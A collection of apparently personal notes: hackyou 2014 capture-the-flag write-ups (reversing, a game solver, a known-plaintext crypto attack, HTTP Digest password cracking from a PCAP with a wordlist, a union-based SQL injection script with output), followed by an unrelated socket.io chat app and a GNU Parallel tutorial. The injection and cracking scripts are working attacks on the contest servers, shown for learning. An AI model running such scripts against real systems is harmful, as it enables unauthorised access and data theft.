flag[17] = add(flag[17], 48)

'''
v69 = sub_401000(&v135, 7);
v70 = sub_401000(v69, 2);
v71 = sub_401000(v70, 4);
v72 = sub_401000(v71, 3);
v73 = sub_401000(v72, 6);
v74 = sub_401000(v73, 5);
v75 = sub_401000(v74, 1);
sub_401000(v75, 20);
'''
flag[18] = add(flag[18], 48)

'''
v76 = sub_401100(&v136, 1000000);
v77 = sub_401220(v76, 999999);
v78 = sub_401100(v77, 4);
v79 = sub_401000(v78, 50);
sub_401220(v79, 1);
'''
flag[19] = sub(add(mul(sub(mul(flag[19], 1000000), 999999), 4), 50), 1)

'''
v80 = sub_401220(&v137, 1);
v81 = sub_401100(v80, -294967296);
v82 = sub_401000(v81, 49);
sub_401220(v82, 1);
'''
flag[20] = sub(add(mul(sub(flag[20], 1), -294967296), 49), 1)

'''
v83 = sub_401220(&v138, 1);
v84 = sub_401100(v83, 1000000000);
v85 = sub_401000(v84, 54);
v86 = sub_401220(v85, 1);
v87 = sub_401000(v86, 1000000000);
sub_401220(v87, 1000000000);
'''
flag[21] = sub(add(sub(add(mul(sub(flag[21], 1), 1000000000), 54), 1), 1000000000), 1000000000)

'''
v88 = sub_401000(&v139, 49);
v89 = sub_401220(v88, 1);
v90 = sub_401000(v89, 2);
sub_401220(v90, 1);
'''
flag[22] = add(flag[22], 49)

'''
v91 = sub_401100(&v140, 10);
v92 = sub_401220(v91, 5);
v93 = sub_401100(v92, 8);
v94 = sub_401000(v93, 9);
sub_401000(v94, 48);
'''
flag[23] = add(add(mul(sub(mul(flag[23], 10), 5), 8), 9), 48)

'''
v95 = sub_401000(&v141, 1);
v96 = sub_401000(v95, 3);
v97 = sub_401000(v96, 3);
v98 = sub_401000(v97, 3);
v99 = sub_401000(v98, 6);
v100 = sub_401000(v99, 6);
v101 = sub_401000(v100, 6);
sub_401000(v101, 20);
'''
flag[24] = add(flag[24], 48)

'''
v102 = sub_401000(&v142, 55);
v103 = sub_401220(v102, 33);
v104 = sub_401000(v103, 44);
v105 = sub_401220(v104, 11);
sub_401000(v105, 42);
'''
flag[25] = add(sub(add(sub(add(flag[25], 55), 33), 44), 11), 42)

'''
sub_401000(&v143, v142);
'''
flag[26] = add(flag[26], flag[25])

'''
sub_401000(&v144, v129);
'''
flag[27] = add(flag[27], flag[12])

'''
v106 = v144;
v107 = sub_401220(&v145, 1);
v108 = sub_401000(v107, v106);
sub_401220(v108, 1);
'''
flag[28] = sub(add(sub(flag[28], 1), flag[27]), 1)

'''
v109 = v140;
v110 = sub_401220(&v146, 1);
v111 = sub_401100(v110, 1000000);
sub_401000(v111, v109);
'''
flag[29] = add(sub(flag[29], 1), flag[23])

'''
v112 = v144;
v113 = sub_401000(&v147, 1);
sub_401100(v113, v112);
'''
flag[30] = mul(add(flag[30], 1), flag[27])

'''
sub_401000(&v148, v147);
'''
flag[31] = add(flag[31], flag[30])

'''
sub_401D2B("Your flag is:");
((void (__cdecl *)(_DWORD, char))sub_401C7F)("CTF{", 1);
sub_401C7F("}\n");
'''
print 'Your flag is: CTF{' + print_flag(flag) + '}'
# ./rev200.py
Your flag is: CTF{daf8f4d816261a41a115052a1bc21ade}

# hackyou 2k14: PPC - Play with me (200 points)


# cat game.py
#!/usr/bin/python

from sys import argv, exit
from re import sub
from netlib import sc

def nextpos(r, c):
        if c < C - 1:
                c += 1
        elif r < R - 1:
                r += 1
                c = 0
        else:
                r += 1
        return r, c

def strike(board, row, column, solution, figures):
        b = board
        s = solution
        f = figures
        strike = False

        i = column
        left = [0, 0, 0]
        while left[2] == 0 and 0 < i <= column:
                i -= 1
                left[0] = row
                left[1] = i
                left[2] = b[row][i]

        i = column
        right = [0, 0, 0]
        while right[2] == 0 and column <= i < C - 1:
                i += 1
                right[0] = row
                right[1] = i
                right[2] = b[row][i]

        i = row
        up = [0, 0, 0]
        while up[2] == 0 and 0 < i <= row:
                i -= 1
                up[0] = i
                up[1] = column
                up[2] = b[i][column]

        i = row
        down = [0, 0, 0]
        while down[2] == 0 and row <= i < R - 1:
                i += 1
                down[0] = i
                down[1] = column
                down[2] = b[i][column]

        if left[2] != 0 and (left[2] == up[2] or left[2] == right[2] or left[2] == down[2]):
                b[left[0]][left[1]] = 0
                f -= 1
                strike = True

        if up[2] != 0 and (up[2] == right[2] or up[2] == down[2] or up[2] == left[2]):
                b[up[0]][up[1]] = 0
                f -= 1
                strike = True

        if right[2] != 0 and (right[2] == down[2] or right[2] == left[2] or right[2] == up[2]):
                b[right[0]][right[1]] = 0
                f -= 1
                strike = True

        if down[2] != 0 and (down[2] == left[2] or down[2] == up[2] or down[2] == right[2]):
                b[down[0]][down[1]] = 0
                f -= 1
                strike = True

        if strike:
                s.append((row, column))
                game(b, 0, 0, s, f)

def send(solution, board):
        global sc
        s = ''
        for coordinate in solution:
                s += '(' + str(coordinate[0]) + ',' + str(coordinate[1]) + ');'
        print s
        if sc.send(s + '\n') == False:
                exit()
        data = sc.recv(buffsize, timeout)
        print data
        exit()

def game(board, row, column, solution, figures):
        while row < R:
                #is solution
                if figures == 0:
                        send(solution, board);
                #is not a solution
                elif board[row][column] == 0:
                        strike(board, row, column, solution, figures)
                row, column  = nextpos(row, column)

def count(board):
        f = 0
        for r in board:
                for c in r:
                        if c != 0:
                                f += 1
        return f

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = argv[1]
port = argv[2]

C = 10
R = 20
solution = []

sc = sc(ip, port, 'tcp')
if sc.connect(max_retries, pause):
        sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        print data
        data = data[28:-15].split('\n')
        board = []
        for line in data:
                line = line[3:]
                line = sub(r"1b5b306d|1b5b|6d30", "", line.encode('hex'))
                line = sub(r"20", "0,", line)
                line = sub(r"3331", "1,", line)
                line = sub(r"3332", "2,", line)
                line = sub(r"3333", "3,", line)
                line = sub(r"3334", "4,", line)
                line = sub(r"3336", "6,", line)
                line = sub(r"3337", "7,", line)
                line = [ int(char) for char in line[:-1].split(',')]
                board.append(line)
        game(board, 0, 0, solution, count(board))
# ./game.py hackyou2014tasks.ctf.su 9876
   0123456789
  -----------
 0|   00 00
 1|  0 000
 2|0   0 0 0
 3|   00 00 0
 4|000   000
 5|     00000
 6| 0    000
 7|0 000   0
 8|0 00 0 00
 9|0 0  0 0 0
10|00 0 0 0
11|00000   0
12|0  0 0 0
13| 0  0000
14| 0 00 0  0
15| 0 00000
16|  0 0 0 0
17| 00 0 00 0
18|0 0    000
19|000  00  0
#############

(2,2);(2,3);(2,0);(2,2);(0,8);(3,3);(3,2);(3,3);(4,3);(1,3);(1,0);(1,0);(3,1);(0,9);(4,4);(4,5);(6,5);(6,1);(6,2);(7,2);(7,6);(6,8);(8,6);(9,1);(9,1);(5,0);(9,5);(9,0);(11,2);(11,2);(10,2);(11,4);(12,1);(12,6);(13,1);(13,4);(13,0);(14,0);(13,3);(14,8);(15,1);(16,2);(14,4);(17,5);(17,6);(17,1);(15,9);(15,7);(15,8);(16,9);
You win!
CTF{0a10f3f9e37d18c39e017ec8bbd5d2ea}

# Socket.io chat


# cat chat.io
var http = require('http');
var fs = require('fs');
var url = require('url');

var nicknames_list = [];
var ip_address = '192.168.1.1'
var port = 1234
var socketio_path = '/usr/local/lib/node_modules/socket.io'
var index_path = '/index.html'
var jquery_path = '/jquery.min.js'
var css_path = '/style.css'
var encoding = 'utf-8'

var server = http.createServer(function (req, res){
 var pathname = url.parse(req.url).pathname;
 if(pathname === '/'){
  fs.readFile('.' + index_path, function (err, data){
   res.writeHead(200, {'content-type': 'text/html'});
   res.end(data, encoding);
  });
 }else if(pathname === jquery_path){
  fs.readFile('.' + jquery_path, function (err, data){
   res.writeHead(200, {'content-type': 'application/javascript'});
   res.end(data, encoding);
  });
 }else if(pathname === css_path){
  fs.readFile('.' + css_path, function (err, data){
   res.writeHead(200, {'content-type': 'text/css'});
   res.end(data, encoding);
  });
 }
}).listen(port, ip_address);

var io = require(socketio_path).listen(server);

io.sockets.on('connection', function (socket){

 socket.on('nickname', function (data, callback){
  if(nicknames_list.indexOf(data) !== -1){
   callback(false);
  }else{
   callback(true);
   nicknames_list.push(data);
   socket.nickname = data;
   console.log('Nickname list: ' + nicknames_list);
   io.sockets.emit('nicknames_list', nicknames_list);
  }
 });

 socket.on('message', function (data){
  io.sockets.emit('message', {nickname: socket.nickname, message: data});
 });

 socket.on('disconnect', function (){
  if(!socket.nickname) return;
  var index = nicknames_list.indexOf(socket.nickname);
  if(index > -1){
   nicknames_list.splice(index, 1);
  }
  console.log('Nickname list: ' + nicknames_list);
  io.sockets.emit('nicknames_list', nicknames_list);
 });

});
# cat index.html
<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset='utf-8'>
  <title>chat.io</title>
  <link rel='stylesheet' type='text/css' href='style.css'>

  <script src='/jquery.min.js'></script>
  <script src='/socket.io/socket.io.js'></script>

  <script>
   var host = '192.168.1.1';
   var port = '1234';
   var socket = io.connect('http://' + host + ':' + port);
   jQuery(function ($){

    var nickname = $('#nickname');
    var nickname_form = $('#nickname_form');
    var nicknames_list = $('#nicknames_list');
    var message = $('#message');
    var message_ml = $('#message_ml');
    var message_form = $('#message_form');
    var message_ml_form = $('#message_ml_form');
    var messages_list = $('#messages_list');

    nickname_form.submit(function (event){
     event.preventDefault();
     socket.emit('nickname', nickname.val(), function (data){
      if(data){
       nickname_form.hide();
       nicknames_list.show();
       message_form.show();
       message_ml_form.show();
       messages_list.show();
      }else{
       nickname_form.prepend('<p>Sorry, the nickname is taken.</p>');
      }
     });
    });

    message_form.submit(function (event){
     event.preventDefault();
     if(message.val() !== ''){
      socket.emit('message', message.val());
      message.val('').focus();
     }
    });

    message_ml_form.submit(function (event){
     event.preventDefault();
     if(message_ml.val() !== ''){
      socket.emit('message', message_ml.val());
      message_ml.val('').focus();
     }
    });

    socket.on('nicknames_list', function (data){
     var nl = '';
     for(var i = 0; i < data.length; i++){
      nl += '<li>[' + data[i] + ']</li>';
     }
     nicknames_list.empty().append(nl);
    });

    socket.on('message', function(data){
     messages_list.val(messages_list.val() + '\n[' + data.nickname + '] ' + data.message);
     messages_list.scrollTop(messages_list[0].scrollHeight - messages_list.height());
    });

   });
  </script>
 </head>
 <body>
  <div id='top'>
   <div id='title'>chat.io</div>
  </div>
  <div id='center'>
   <div id='right'>
    <section id='nicknames_list'>
     <ul></ul>
    </section>
   </div>

   <div id='left'>
    <form id='nickname_form'>
     <input type='text' id='nickname' placeholder='<Enter your nickname>'>
     <button type='submit'>Submit</button>
    </form>

    <textarea id='messages_list' readonly></textarea>

    <form id='message_form'>
     <input type='text' id='message' placeholder='<Send single line>'></input>
     <button type='submit'>Send</button>
    </form>

    <form id='message_ml_form'>
     <textarea id='message_ml' placeholder='<Paste multiline>'></textarea>
     <button type='submit'>Paste</button>
    </form>
   </div>
  </div>
 </body>
</html>
# cat style.css
html {
 background: #000;
 color: #575;
 font-family: monospace;
 font-size: 12px;
 margin: 0;
 padding: 0;
}

input, button, textarea {
 background: #000;
 border: 1px solid #575;
 color: #575;
 font-family: monospace;
 font-size: 12px;
 margin-bottom: 10px;
 padding-left: 5px;
}

#top {
 width: 100%;
}

#center {
 width: 100%;
}

#left {
 width: 80%;
}

#right {
 float: right;
 width: 20%;
}

#title {
 font-size: 30px;
}

#nickname {
 width: 90%;
}

#message_form, #message_ml_form {
 display: none;
}

#message, #message_ml {
 width: 90%;
}

#messages_list{
 display: none;
 height: 400px;
 width: 90%;
}

#nicknames_list {
 display: none;
 list-style-type: none;
}
# nodejs chat.io
   info  - socket.io started

# hackyou 2k14: Crypto - Easy one (100 points)


# cat encryptor.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        if (argc != 3) {
                printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
                return 0;
        }
        FILE* input  = fopen(argv[1], "rb");
        FILE* output = fopen(argv[2], "wb");
        if (!input || !output) {
                printf("Error\n");
                return 0;
        }
        char k[] = "CENSORED";
        char c, p, t = 0;
        int i = 0;
        while ((p = fgetc(input)) != EOF) {
                c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
                t = p;
                i++;
                fputc(c, output);
        }
        return 0;
}
# cat crypto.py
#!/usr/bin/python

data = open('msg001.enc', 'rb').read()
enc = []
for byte in data[:-1]:
        enc.append(ord(byte))
plain = 'Hi! This is only test message'
i = t = 0
key = ''
for e in enc:
        x = ord(plain[i])
        k = ((e - x - (i * i)) ^ t) & 0xff
        t = x
        key += chr(k)
        i += 1
print key
# ./crypto.py
VeryLongKeyYouWillNeverGuessV
# cat decryptor.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        if (argc != 3) {
                printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
                return 0;
        }
        FILE* input  = fopen(argv[1], "rb");
        FILE* output = fopen(argv[2], "wb");
        if (!input || !output) {
                printf("Error\n");
                return 0;
        }
        char k[] = "VeryLongKeyYouWillNeverGuess";
        char c, p, t = 0;
        int i = 0;
        while ((p = fgetc(input)) != EOF) {
                c = (p - (k[i % strlen(k)] ^ t) - i*i) & 0xff;
                t = c;
                i++;
                fputc(c, output);
        }
        return 0;
}
# gcc -o decryptor decryptor.c
# ./decryptor msg002.enc msg002
# cat msg002
The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.
The flag is CTF{6d5eba48508efb13dc87220879306619}

# hackyou 2k14: Network - PCAP (100 points)


# tshark -V -r net100.pcap -R "frame.number==3" | grep Authorization | tr ',' '\n'
    Authorization: Digest username="admin"
 realm="Private Area"
 nonce="1389094144"
 uri="/auth.php"
 response="f86930f9e0466aeced34036bc2f7a346"
 opaque="8be5ca4697def50a128600e8f106efd5"
 qop=auth
 nc=00000001
 cnonce="347278e387a2f030"\r\n
# cat network.py
#!/usr/bin/python

from hashlib import md5

url = 'http://54.201.187.163'
username = 'admin'
realm = 'Private Area'
method = 'GET'
uri = '/auth.php'
nonce = '1389094144'
nc = '00000001'
cnonce = '347278e387a2f030'
qop = 'auth'
response = 'f86930f9e0466aeced34036bc2f7a346'

for password in open('rockyou.txt', 'r'):
   password = password.strip()
   ha1 = md5(username + ':' + realm + ':' + password).hexdigest()
   ha2 = md5(method + ':' + uri).hexdigest()
   res = md5(ha1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + ha2).hexdigest()
   if res == response:
    print password
    import urllib2
    authhandler = urllib2.HTTPDigestAuthHandler()
    authhandler.add_password(realm, url + uri, username, password)
    opener = urllib2.build_opener(authhandler)
    urllib2.install_opener(opener)
    res = urllib2.urlopen(url + uri)
            print res.read()
    break
# ./network.py
cowboy123
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}

# hackyou 2k14: Web - Voting (100 points)


# cat web.py
#!/usr/bin/python

import re, urllib, urllib2

def inject(hexid):
   url    = 'http://hackyou2014tasks.ctf.su:10080/index.php'
   values = {
    'id'    : hexid,
    'vote'  : '1',
    'submit': 'Submit'
   }
   data = urllib.urlencode(values)
   req  = urllib2.Request(url, data)
   res  = urllib2.urlopen(req)
   return res.read()

hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables'.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables where table_name like \'f%\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(column_name) from information_schema.columns where table_name=\'Flag\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select flag from Flag'.encode('hex')
print re.search(r'CTF{.*}', inject(hexid)).group()
# ./web.py
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,columns_priv,db,event,func,general_log,help_category,help_keyword,help_relation,help_topic,host,ndb_binlog_index,plugin,proc,procs_priv,proxies_priv,servers,slow_log,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user,cond_instances,events_waits_current,events_waits_history,events_waits_history_long,events_waits_summary_by_instance,events_waits_summary_by_thread_by_event_name,events_waits_su</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>FILES,func,file_instances,file_summary_by_event_name,file_summary_by_instance,Flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
CTF{820178c33c03aaa7cfe644c691679cf8}

# hackyou 2k14: Reverse - NotEasyTask (100 points)


ILSpy decompilation
private static void Main(string[] args)
{
 string hostname = "127.0.0.1";
 int port = 31337;
 TcpClient tcpClient = new TcpClient();
 try
 {
  Console.WriteLine("Connecting...");
  tcpClient.Connect(hostname, port);
 }
 catch (Exception)
 {
  Console.WriteLine("Cannot connect!\nFail!");
  return;
 }
 Socket client = tcpClient.Client;
 string text = "Super Secret Key";
 string text2 = Program.read();
 client.Send(Encoding.ASCII.GetBytes("CTF{"));
 string text3 = text;
 for (int i = 0; i < text3.Length; i++)
 {
  char x = text3[i];
  client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2)));
 }
 client.Send(Encoding.ASCII.GetBytes("}"));
 client.Close();
 tcpClient.Close();
 Console.WriteLine("Success!");
C:\> reverse100.exe (2)
C:\> nc -l 127.0.0.1 31337 (1)
CTF{7eb67b0bb4427e0b43b40b6042670b55}

# hackyou 2k14: PPC - Trash (100 points)


# cat decode-qr.py
#!/usr/bin/python
#-*- coding: utf8 -*-

from zbar import Image, ImageScanner
from Image import open as iopen
from glob import glob

f = open('my.zip', 'wb')
if f:
   scanner = ImageScanner()
   files = glob('*.png')
   files.sort()
   for file in files:
    print file
    pil = iopen(file).convert('L')
    w, h = pil.size
    image = Image(w, h, 'GREY', pil.tostring())
    scanner.scan(image)
    for symbol in image:
     if 'QRCODE' in str(symbol.type):
      f.write(symbol.data.decode('utf-8')[9:].encode('latin-1'))
   f.close()
else:
   print 'File error'
# ./decode-qr.py
# file='my.zip'; while [ true ]; do nfile=`unzip $file | grep inflating | awk '{print $2}'`; rm $file; file=$nfile; if [ `echo -n $file | wc -c` -ne 36 ]; then break; fi; done; echo $file
# cat decode-pickle.py
#!/usr/bin/python

from pickle import load
from sys import argv

pkl_file = open(argv[1], 'rb')
data = load(pkl_file)
for line in data:
   string = ''
   for char, count in line:
    string += char * count
   print string
# ./decode-pickle.py $file
CTF{a280fbc26d0781ce50d685a2a31295ab}

# GNU Parallel tutorial


Prerequisites

# mkdir parallel_tutorial
# cd parallel_tutorial
# GET=$(echo wget -qO -)
# LATEST=$($GET http://ftpmirror.gnu.org/parallel | perl -ne '/(parallel-\d{8})/ and print $1."\n"' | sort | tail -n1)
# $GET http://ftpmirror.gnu.org/parallel/$LATEST.tar.bz2 > $LATEST.tar.bz2
# $GET http://ftpmirror.gnu.org/parallel/$LATEST.tar.bz2.sig > $LATEST.tar.bz2.sig
# gpg --keyserver keys.gnupg.net --recv-key 88888888
# gpg --with-fingerprint $LATEST.tar.bz2.sig 2>&1 | grep -e RSA -e 'CDA0 1A42 08C4 F745 0610  7E7B D1AB 4516 8888 8888'
# bzip2 -dc $LATEST.tar.bz2 | tar xf -
# cd $LATEST
# ./configure
# make
# make install
# echo -e '--gnu' > /etc/parallel/config
# cd ..
# rm -rf $LATEST*
# which parallel
/usr/local/bin/parallel
# file /usr/local/bin/parallel
/usr/local/bin/parallel: Perl script, ASCII text executable, with escape sequences
# parallel --bibtex
> will cite
# parallel -k echo ::: A B C > abc-file
# parallel -k echo ::: D E F > def-file
# perl -e 'printf "A\0B\0C\0"' > abc0-file
# perl -e 'printf "A_B_C_"' > abc_-file
# perl -e 'printf "f1\tf2\nA\tB\nC\tD\n"' > tsv-file.tsv
# perl -e 'for(1..30000){print "$_\n"}' > num30000
# perl -e 'for(1..1000000){print "$_\n"}' > num1000000
# (echo %head1; echo %head2; perl -e 'for(1..10){print "$_\n"}') > num_%header
# SERVER1=192.168.1.1
# SERVER2=192.168.1.2
# ssh-keygen
# ssh-copy-id -i /root/.ssh/id_rsa.pub $SERVER1
# ssh-copy-id -i /root/.ssh/id_rsa.pub $SERVER2
# ssh $SERVER1 echo works
# ssh $SERVER2 echo works

A single input source

# parallel echo ::: A B C
# parallel -a abc-file echo
# cat abc-file | parallel echo
A
B
C

Multiple input sources

# parallel echo ::: A B C ::: D E F
# parallel -a abc-file -a def-file echo
# cat abc-file | parallel -a - -a def-file echo
# cat abc-file | parallel echo :::: - def-file
# parallel echo ::: A B C :::: def-file
A D
A E
A F
B D
B E
B F
C D
C E
C F
# parallel --xapply echo ::: A B C D E ::: F G
A F
B G
C
D
E
# parallel --xapply echo ::: A B C D E ::: F G
A F
B G
C F
D G
E F

Changing the argument separator/delimiter

# parallel --arg-sep ,, --arg-file-sep // echo ,, A B C // def-file
A D
A E
A F
B D
B E
B F
C D
C E
C F
# parallel -d _ echo :::: abc_-file
# parallel -d '\0' echo :::: abc0-file
# parallel -0 echo :::: abc0-file
A
B
C

End-of-file value for input source

# parallel -E stop echo ::: A B stop C D
A
B

Skipping empty lines

# echo -e "1\n\n\n\n\n2\n" | parallel --no-run-if-empty echo
1
2

No command means arguments are commands

# parallel ::: ls 'echo foo' pwd
abc0-file
abc_-file
abc-file
def-file
num1000000
num30000
num_%header
tsv-file.tsv
foo
/parallel_tutorial

The 5 replacement strings

# parallel echo ::: A/B.C
# parallel echo {} ::: A/B.C
A/B.C
# parallel echo {.} ::: A/B.C
A/B
# parallel echo {/} ::: A/B.C
B.C
# parallel echo {//} ::: A/B.C
A
# parallel echo {/.} ::: A/B.C
B
# parallel echo {#} ::: A B C # gives the job number
1
2
3

Changing the replacement strings

# parallel -I ,, echo ,, ::: A/B.C
A/B.C
# parallel --extensionreplace ,, echo ,, ::: A/B.C
A/B
# parallel --basenamereplace ,, echo ,, ::: A/B.C
B.C
# parallel --dirnamereplace ,, echo ,, ::: A/B.C
A
# parallel --basenameextensionreplace ,, echo ,, ::: A/B.C
B
# parallel --seqreplace ,, echo ,, ::: A B C
1
2
3

Positional replacement strings

# parallel echo {1} and {2} ::: A B ::: C D
A and C
A and D
B and C
B and D
# parallel echo /={1/} //={1//} /.={1/.} .={1.} ::: A/B.C D/E.F
/=B.C //=A /.=B .=A/B
/=E.F //=D /.=E .=D/E
# parallel echo 1={1} 2={2} 3={3} -1={-1} -2={-2} -3={-3} ::: A B ::: C D ::: E F
1=A 2=C 3=E -1=E -2=C -3=A
1=A 2=C 3=F -1=F -2=C -3=A
1=A 2=D 3=E -1=E -2=D -3=A
1=A 2=D 3=F -1=F -2=D -3=A
1=B 2=C 3=E -1=E -2=C -3=B
1=B 2=C 3=F -1=F -2=C -3=B
1=B 2=D 3=E -1=E -2=D -3=B
1=B 2=D 3=F -1=F -2=D -3=B

Input from columns

# parallel --colsep '\t' echo 1={1} 2={2} :::: tsv-file.tsv
1=f1 2=f2
1=A 2=B
1=C 2=D

Header defined replacement strings

# parallel --header : --colsep '\t' echo f1={f1} f2={f2} :::: tsv-file.tsv
f1=A f2=B
f1=C f2=D

More than one argument

# cat num30000 | parallel --xargs echo | wc -l
2
# cat num30000 | parallel --xargs -s 10000 echo | wc -l
17
# cat num30000 | parallel --jobs 4 -m echo | wc -l
5
# parallel --jobs 4 -m echo pre-{}-post ::: A B C D E F G
pre-A B-post
pre-C D-post
pre-E F-post
pre-G-post
# parallel --jobs 4 -X echo pre-{}-post ::: A B C D E F G
pre-A-post pre-B-post
pre-C-post pre-D-post
pre-E-post pre-F-post
pre-G-post
# parallel -N3 echo ::: A B C D E F G H
A B C
D E F
G H

Quoting

# parallel -q perl -e 'print "@ARGV\n"' ::: This works
# parallel perl -e \''print "@ARGV\n"'\' ::: This works
This
works

Trimming space

# parallel --trim r echo pre-{}-post ::: ' A '
pre- A-post
# parallel --trim l echo pre-{}-post ::: ' A '
pre-A -post
# parallel --trim lr echo pre-{}-post ::: ' A '
pre-A-post

Controling the output

# parallel --tag echo foo-{} ::: A B C
A       foo-A
B       foo-B
C       foo-C
# parallel --tagstring {}-bar echo foo-{} ::: A B C
A-bar   foo-A
B-bar   foo-B
C-bar   foo-C
# parallel --dryrun echo {} ::: A B C
echo A
echo B
echo C
# parallel --verbose echo {} ::: A B C
echo A
echo B
A
echo C
B
C
# parallel -j2 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
2-start
2-middle
2-end
1-start
1-middle
1-end
4-start
4-middle
4-end
# parallel -j2 --ungroup 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
4-start
42-start
2-middle
2-end
1-start
1-middle
1-end
-middle
4-end
# parallel -j2 --linebuffer 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
4-start
2-start
2-middle
2-end
1-start
1-middle
1-end
4-middle
4-end
# parallel -j2 -k 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
4-start
4-middle
4-end
2-start
2-middle
2-end
1-start
1-middle
1-end

Saving output into files

# parallel --files ::: A B C
/tmp/kDpvB7d8aA.par
/tmp/1WyUUJEhht.par
/tmp/PgWjftjche.par
# parallel --tmpdir /var/tmp --files ::: A B C
# TMPDIR=/var/tmp parallel --files ::: A B C
/var/tmp/nvpct2t9WP.par
/var/tmp/nufRxiok6Y.par
/var/tmp/_2gy6BRhiC.par
# parallel --results outdir echo ::: A B C
A
B
C
# find outdir | grep std
outdir/1/B/stderr
outdir/1/B/stdout
outdir/1/C/stderr
outdir/1/C/stdout
outdir/1/A/stderr
outdir/1/A/stdout

Number of simultaneous jobs

# # 64 jobs/#core
# /usr/bin/time parallel -N0 -j64 sleep 1 ::: {1..128}
# # 1 job/#core
# /usr/bin/time parallel -N0 sleep 1 ::: {1..128}
# #2 jobs for each core
# /usr/bin/time parallel -N0 --jobs 200% sleep 1 ::: {1..128}
# #Run as may jobs in parallel as possible
# /usr/bin/time parallel -N0 --jobs 0 sleep 1 ::: {1..128}
# parallel --use-cpus-instead-of-cores -N0 sleep 1 ::: {1..128}

Interactiveness

# parallel --interactive echo ::: 1 2 3
echo 1 ?...n
echo 2 ?...n
echo 3 ?...n
# parallel -X --dry-run --tty vi ::: 1 2 3
vi 1 2 3
# parallel --dry-run --tty vi ::: 1 2 3
vi 1
vi 2
vi 3

Timing

# parallel --delay 2.5 echo Starting {}\;date ::: 1 2 3
Starting 1
Sat Jan  4 13:37:00 CET 2014
Starting 2
Sat Jan  4 13:37:02 CET 2014
Starting 3
Sat Jan  4 13:37:05 CET 2014
# parallel --timeout 2.1 sleep {}\; echo {} ::: 1 2 3 4
1
2
# parallel --timeout 200% sleep {}\; echo {} ::: 2.1 2.2 3 7 2.3
2.1
2.2
3
2.3
# parallel --eta sleep ::: 1 3 2 2 1 3 3 2 1

Computers / CPU cores / Max jobs to run
1:local / 2 / 2

Computer:jobs running/jobs completed/%of started jobs/Average seconds to complete
ETA: 2s 0left 1.00avg  local:0/9/100%/1.0s

Progress

# parallel --progress sleep ::: 1 3 2 2 1 3 3 2 1

Computers / CPU cores / Max jobs to run
1:local / 2 / 2

Computer:jobs running/jobs completed/%of started jobs/Average seconds to complete
local:0/9/100%/1.0s
# parallel --joblog /tmp/log exit  ::: 1 2 3 0
# cat /tmp/log
Seq     Host    Starttime       Runtime Send    Receive Exitval Signal  Command
1       :       1388839020.557  0.004   0       0       1       0       exit 1
2       :       1388839020.560  0.006   0       0       2       0       exit 2
3       :       1388839020.566  0.005   0       0       3       0       exit 3
4       :       1388839020.570  0.003   0       0       0       0       exit 0

Termination

# parallel -j2 --halt 1 echo {}\; exit {} ::: 0 0 1 2 3
0
0
1
parallel: Starting no more jobs. Waiting for 2 jobs to finish. This job failed:
echo 1; exit 1
2
parallel: Starting no more jobs. Waiting for 1 jobs to finish. This job failed:
echo 2; exit 2
# parallel -j2 --halt 2 echo {}\; exit {} ::: 0 0 1 2 3
0
0
1
parallel: This job failed:
echo 1; exit 1
# parallel -k --retries 3 'echo tried {} >>/tmp/runs; echo completed {}; exit {}' ::: 1 2 0
completed 1
completed 2
completed 0
# cat /tmp/runs
tried 1
tried 2
tried 1
tried 2
tried 1
tried 2
tried 0

Limiting the ressources

# parallel --load 100% echo load is less than {} job per cpu ::: 1
load is less than 1 job per cpu
# parallel --noswap echo the system is not swapping ::: now
the system is not swapping now
# parallel --nice 17 echo this is being run with nice -n ::: 17
this is being run with nice -n 17

